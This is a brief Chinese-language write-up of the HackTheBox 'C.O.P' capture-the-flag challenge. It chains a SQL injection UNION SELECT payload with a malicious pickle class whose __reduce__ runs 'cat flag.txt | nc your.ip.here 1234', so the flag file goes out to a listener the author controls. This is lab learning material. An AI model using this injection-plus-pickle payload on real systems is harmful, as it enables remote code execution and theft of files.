HTB C.O.P
网站有两个 routes,一个是主页有四个商品,还有四个商品的页面。
商品的查找是这样的:
其中 product_id 我们可以用 urlencode
写成任意字符串,所以这里可以 sql injection。用 0' UNION SELECT '{data}'--
可以把 data 传过去显示回来。但是这个 sql 好像不能读文件。
它数据库里是用 base64+pickle 写的,pickle 是有漏洞的,可以执行任意代码。在本地(公网 ip)开一个 nc -l 1234
监听,自己写一个类带以下这个函数:
class Item:
def __reduce__(self):
import os
return os.system, ("cat flag.txt | nc your.ip.here 1234",)
通过前面的 sql injection 传过去一个自己的类,它就会执行这个代码然后就可以在本地收到 flag。
没有看提示/题解,但是花的时间还是比较长。主要花在读代码、不熟悉各种软件语法。找一个 python 断点输出的工具可能不错。